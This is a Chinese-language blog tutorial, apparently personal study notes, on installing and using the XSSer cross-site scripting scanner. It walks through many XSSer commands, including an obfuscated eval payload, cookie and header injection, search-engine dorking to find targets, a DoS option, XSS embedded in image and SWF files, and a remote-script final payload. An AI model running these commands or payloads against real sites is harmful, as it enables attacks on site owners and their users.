VMware安装虚拟机Ubuntu的时候,安装完毕后是命令行模式,得重启后才能进入图形界面。
=======================================================================
XSSer 安装与测试
1. Installation 安装python相关组件
XSSer runs on many platforms. It requires Python and the following libraries:- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library
在Ubuntu下用这个指令就能够安装后所有的要用到python模块:
sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip
2.下载XSSer相应的包并且安装
下载地址:http://sourceforge.net/projects/xsser/files/xsser_1.6-1.tar.gz/download
下载后用以下指令:
安装:
tar xzvf xsser-1.6_all.deb.tar.gz
sudo dpkg -i xsser-1.6_all.deb
以GTK模式(也就是图形化模式运行)(GTK mode):
xsser --gtk --silent
$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser
3.XSSer语法的掌握 (官网写的是 python xsser.py -u "http://www.baidu.com",我用的xsser -u "http://www.baidu.com",都行)
(1)最简单的注入
xsser -u "http://www.baidu.com"
(2)从文件中读取URL,带有代理和HTTP REFERER的注入
xsser -i url.txt --proxy "http://127.0.0.1:8118" --referer 666.666.666.666
(3)使用Cem(Character Encoding Mutations 字符编码基因突变),使用user-agent,设置超时时间,设置线程数
xsser -u "http://www.baidu.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
Ps1:Cem就是先用Hex编码,再转为Str编码,然后再转为Hex编码!
(first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding)
Ps2:user-agent 也就是用户代理,这个域放置了一些信息如OS版本,CPU类型,浏览器版本,浏览器渲染引擎,浏览器语言,浏览器语言等,可以被web服务器获取,这里我们不想被web服务器获取,所以就设置了下“XSSer!!!”就好啦~~
(4)从文件读取(-i "urls.txt"),装载自己的代码(--payload ' ' ),并且用JS中的Unescape()函数解码(--Une)
xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
Ps:a+b+c+d得到字符串"getURL("javascript:alert('XSS')")" ,这个函数式Flash的常用函数,用来打开一个链接,无论是远程还是本地,只有满足一下两个条件,才能用这种形式的代码:
getURL("javascript:someFunction()")
1)页面有Flash player 8 以及更高版本中
2)SWF文件或者包含该文件的web页面被包含在本地受信任的沙箱中
满足上述条件就能够用:
--payload 'eval(getURL("javascript:alert('XSS!!!')"))'
思考1:为什么要分成abcd四个部分呢!?然后再合起来?
思考2:--Une为什么要用到这里?Unescape()函数对escape()函数编码过后的字符串进行解码,如果字符串不是编码后的字符串,则会把字符串原封不动的返回。也就是说,字符串被浏览器编码后送到web服务器吗?escape()一般用于脚本向某个页面如a.php这个URL传递参数时编码,可是我用的是XSSer,它在传递参数的时候会编码吗?
这两个问题等我以后深入了解再回来回答。
(5)指定引擎并且从引擎的返回结果作为target URL--XSSer Storm
xsser --De "duck" -d "search.php?"
Ps1: duckduckgo是一个网站,搞搜索引擎的 "duck"。
Ps2: -d DORK 把搜索结果作为攻击的目标URL ( Process search engine dork results as target urls)
Ps3: --De=DORK_ENGINE 指定用到的引擎 for dorking 有这么多:(bing, altavista, yahoo, baidu, yandex, youdao, webcrawler, google, etc.)
(6)指定抓取URL的深度和数量
--Cw=CRAWLER_WIDTH Deeping level of crawler: 1-5
--Cl Crawl only local target(s) urls (default TRUE)
xsser -c 3 --Cw=4 -u "http://www.baidu.com"
(7)Post数据(Simple injection from URL, using POST, with statistics results)
xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
Ps :-s, --statistics show advanced statistics output results
思考:这个-s到底有什么用呢?统计数据?Post数据一般就是把数据封装到表单中然后发到web服务器请求。
回答:这个-s其实和post没关系,就是把数据给统计了:
===========================================================================
[*] Statistic:
===========================================================================
--------------------------------------------------
Test Time Duration: 0:00:05.929196
--------------------------------------------------
Total Connections: 2
-------------------------
200-OK: 1 | 404: 0 | 503: 0 | Others: 1
Connec: 50 %
--------------------------------------------------
Total Payloads: 1
-------------------------
Checker: 0 | Manual: 0 | Auto: 1 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
--------------------------------------------------
Total Injections: 1
-------------------------
Failed: 1 | Sucessfull: 0
Accur : 0 %
-------------------------
Total Discovered: 0
-------------------------
Checker: 0 | Manual: 0 | Auto: 0 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
--------------------------------------------------
False positives: 0 | Vulnerables: 0
-------------------------
Mana: 0
--------------------------------------------------
[I] Could not find any vulnerability!. Try another combination or hack it -manually- :)
===========================================================================
(8)Get请求 八进制编码(--Doo) 结果以简短URL形式(--short tinyurl)
xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
思考:至今还是不知道Get请求和Post请求这些参数如 "bs/?q="要怎么设定的吗?我个人认为如果不知道网站的源代码,根本不知道参数怎么填?那么这个XSSer的参数是猜测的吗?
(9)Shadow DOM XSS攻击,跨站Cookie注入,最终代码FinalRemote(--Fr)
xsser -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
Ps1: --Coo 跨站Cookie注入 COO - Cross Site Scripting Cookie injection
Ps2:DOM XSS 攻击原理
Ps3:DOM shadow space (no server logging!) 这个DOM阴影空间貌似在哪里听过?可是就是找不到相关资料。。。终于google到了这篇文章,它讲的是Shadow DOM
什么是Shadow Dom?可能会给你带来点帮助。。。
(10) Dos(拒绝服务攻击) 网址压缩is.gd
xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
Ps:根据官方介绍,Is.gd 至今已处理了近 900 万个网址。首页非常简洁,输入需要压缩的网址提交即可。生成缩略网址后系统会计算压缩前后的字符串长度,并给出压缩率。
如果想要让用户预览网页,而不是直接发送缩略网址(有助于用户了解所链接到的网址,防止被钓鱼),只需在缩略网址后添加连接字符 “-” 来开启网页预览功能。
例如,芒果的网址 http://www.mangguo.org 经过压缩后为 http://is.gd/Aqdn,网页预览地址为 http://is.gd/Aqdn-。
注意:缩略网址 URL 中字母区分大小写。
XSSer结果会多了这么一行:
[/] Shortered URL (Injection): http://is.gd/eAxg3x
(11) 在这些地方注入参数变量: HTTP USer-Agent,HTTP Referer , Cookie parameters
xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
Ps1: --Xsa XSA - Cross Site Agent Scripting
Ps2: --Xsr XSR - Cross Site Referer Scripting
(12) 创建一个假的XSS代码嵌入图像(create a false image with XSS code embedded)
xsser --imx "test.png" --payload "!enter your malicious injection code here!"
xsser --imx "test.jpg" --payload "<script>alert('XSS')</script>"
(13)把积极的结果输出到指定的XML文件中(Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file).
xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
Ps: --xml 指定一个XML文件,用来存放输出的”积极“结果,我猜测这个”积极“就是可能能够注入的结果URL
(14)把我们的扫描结果上传到某些网站上(twitter)这个功能真的是有爱啊~,不吐槽了。。
xsser -d "login.php" --De "duck" --tweet
示例网站:
(15)创建一个swf电影注入XSS代码(Create a .swf movie with XSS code injected)
xsser --fla "name_of_file.swf" --payload "<script>alert('XSS!!!');</script>"
(16) 发送一个hash值,预先看看目标URL是否重复全部内容(send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved)
xsser -u "http://www.baidu.com" --hash
结果是:
Checker: looks like your target(s) does not repeat all received code.
回答:不懂~真心不懂~等以后的我深入了解了再研究吧~
(17) Data Control Protocal(DCP) 数据控制协议 注入,这个好偏门的感觉
xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
(18)META标签中的Base64编码(RFC2397),也是很偏门的感觉
xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
这个Base64编码:
--B64 B64 - Base64 code encoding in META tag (rfc2397)
(19)启动浏览器,结束时发现的每个XSS(launch a browser at the end with each XSS discovered)
xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
思考:都越来越不知道什么意思了。。。
Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly